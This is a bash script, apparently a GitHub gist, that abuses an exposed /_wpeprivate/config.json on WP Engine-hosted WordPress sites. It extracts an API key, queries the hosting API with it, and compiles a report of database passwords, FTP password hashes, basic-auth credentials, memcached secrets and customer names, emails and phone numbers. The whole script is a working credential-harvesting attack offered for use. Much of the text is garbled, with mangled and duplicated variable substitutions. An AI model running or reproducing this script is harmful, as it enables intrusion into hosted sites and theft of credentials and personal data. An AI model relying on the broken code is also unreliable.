If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies.

May 5, 2019 · View on GitHub

#!/bin/bash

If you find a site with /_wpeprivate/config.json file exposed, run this and get all kinds of fun goodies.

If it "no worked" (Technical Term) then you probably need to install jq!

TARGET=$1 TARGETDOMAIN=(echo(echo TARGET | cut -d/ -f3)

Pretty Colors

RESET='\033[00m'
GREEN='\033[01;32m' BLUE='\033[01;34m'

echo -e BLUE"Downloadingwpeprivate/config.json"{BLUE}"------------------------ Downloading '_wpeprivate/config.json' -------------------------"{RESET} echo -e GREEN"curlso{GREEN}"curl -so TARGETDOMAIN-config.json -k TARGET/wpeprivate/config.json"TARGET/_wpeprivate/config.json"{RESET} curl -so TARGETDOMAINconfig.jsonkTARGETDOMAIN-config.json -k TARGET/_wpeprivate/config.json

WPEAPIKEY=(jq.(jq '.' TARGETDOMAIN-config.json | grep wpengine_apikey | awk '{print $2}' | cut -d, -f1 | sed 's/"//g') ACCOUNTNAME=(jq.(jq '.' TARGETDOMAIN-config.json | grep WPENGINE_ACCOUNT | awk '{print $2}' | cut -d, -f1 | sed 's/"//g' | sort -u)

echo -e BLUE"\nMake1stAPICalltoapi.wpengine.com"{BLUE}"\n-------------------------- Make 1st API Call to api.wpengine.com -----------------------"{RESET} echo -e GREEN"curlso{GREEN}"curl -so ACCOUNTNAME-site.json -k https://api.wpengine.com/1.2/?method=site&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET} curl -so ACCOUNTNAME-site.json -k "https://api.wpengine.com/1.2/?method=site&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"

echo -e BLUE"\nMake2ndAPICalltoapi.wpengine.com"{BLUE}"\n-------------------------- Make 2nd API Call to api.wpengine.com -----------------------"{RESET} echo -e GREEN"curlso{GREEN}"curl -so ACCOUNTNAME-customer.json -k https://api.wpengine.com/1.2/?method=customer-record&account_name=$ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"${RESET} curl -so ACCOUNTNAME-customer.json -k "https://api.wpengine.com/1.2/?method=customer-record&account_name=ACCOUNTNAME&wpe_apikey=$WPEAPIKEY"

echo -e BLUE"\nReport{BLUE}"\n----------------------------- Report - (echo TARGETDOMAIN)TARGETDOMAIN) - (echo ACCOUNTNAME)"ACCOUNTNAME) -----------------------------"{RESET} echo -e BLUE"ConfigurationInfo"{BLUE}"Configuration Info - "{GREEN} >> ACCOUNTNAMEreport.txtgrepE(site)ACCOUNTNAME-report.txt grep -E '(site)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> ACCOUNTNAMEreport.txtgrepE(servername)(wpversion)ACCOUNTNAME-report.txt grep -E '(server_name)|(wp_version)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nDomains"{BLUE}"\nDomains - "{GREEN} >> ACCOUNTNAMEreport.txtjqr.alldomainsACCOUNTNAME-report.txt jq -r '.all_domains' ACCOUNTNAME-site.json | sed ':a;N;!ba;s/\n//gseds["[]gseds///gcutd]f1>>!ba;s/\n//g' | sed 's|[{}"[]||g' | sed 's/ //g' | cut -d] -f1 >> ACCOUNTNAME-report.txt echo -e BLUE"\nDatabaseInfos"{BLUE}"\nDatabase Infos - "{GREEN} >> ACCOUNTNAMEreport.txtecho"dbpassword:"ACCOUNTNAME-report.txt echo "db_password:"(jq -r '.db_password' ACCOUNTNAMEsite.json)>>ACCOUNTNAME-site.json) >> ACCOUNTNAME-report.txt echo -e "db_password_encryption" >> ACCOUNTNAMEreport.txtjqr.dbpasswordencryptionACCOUNTNAME-report.txt jq -r '.db_password_encryption' ACCOUNTNAME-site.json | sed -e s/,/\n/gseds[",]g>>'s/,/\\\n/g' | sed 's|[{}",]||g' >> ACCOUNTNAME-report.txt

echo -e BLUE"\nFTPUsersandPasswordHashes"{BLUE}"\nFTP Users and Password Hashes - "{GREEN} >> ACCOUNTNAMEreport.txtjq.ftpuserstoentries[]ACCOUNTNAME-report.txt jq '.ftp_users | to_entries[]' ACCOUNTNAME-site.json | sed 's|[{},]||g' | awk '{print $1 $2}' | sed 's/"//g' | grep -vE '(value:)|(^)' | sed 's/path:/&\n/g' >> ACCOUNTNAME-report.txt

echo -e BLUE"NginxAuth"{BLUE}"Nginx Auth - "{GREEN} >> ACCOUNTNAMEreport.txtjqr.nginxbasicauthstagingACCOUNTNAME-report.txt jq -r '.nginx_basic_auth_staging' ACCOUNTNAME-site.json | grep -E '(user)|(password)' | cut -d" -f2-4 | sed 's/"//g' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nMiscellaneous"{BLUE}"\nMiscellaneous - "{GREEN} >> ACCOUNTNAMEreport.txtgrepE(gopherenabled)(memcachedsecret)ACCOUNTNAME-report.txt grep -E '(gopher_enabled)|(memcached_secret)' ACCOUNTNAME-site.json | cut -d" -f2-4 | sed 's/"//g'|sed 's/,//' >> $ACCOUNTNAME-report.txt

echo -e BLUE"\nUserInfo"{BLUE}"\nUser Info - "{GREEN} >> ACCOUNTNAMEreport.txtecho"domain:"ACCOUNTNAME-report.txt echo "domain:"(jq -r '.domain' ACCOUNTNAMEcustomer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "account_id:"(jqr.accountid(jq -r '.account_id' ACCOUNTNAME-customer.json) >> ACCOUNTNAMEreport.txtecho"accounttype:"ACCOUNTNAME-report.txt echo "account_type:"(jq -r '.account_type' ACCOUNTNAMEcustomer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "full_name:"(jqr.fullname(jq -r '.full_name' ACCOUNTNAME-customer.json) >> ACCOUNTNAMEreport.txtecho"email:"ACCOUNTNAME-report.txt echo "email:"(jq -r '.email' ACCOUNTNAMEcustomer.json)>>ACCOUNTNAME-customer.json) >> ACCOUNTNAME-report.txt echo "phone:"(jqr.phone(jq -r '.phone' ACCOUNTNAME-customer.json) >> $ACCOUNTNAME-report.txt

echo -e GREENcat{GREEN} cat ACCOUNTNAME-report.txt echo -e BLUE""{BLUE}"----------------------------------------------------------------------------------------"{RESET}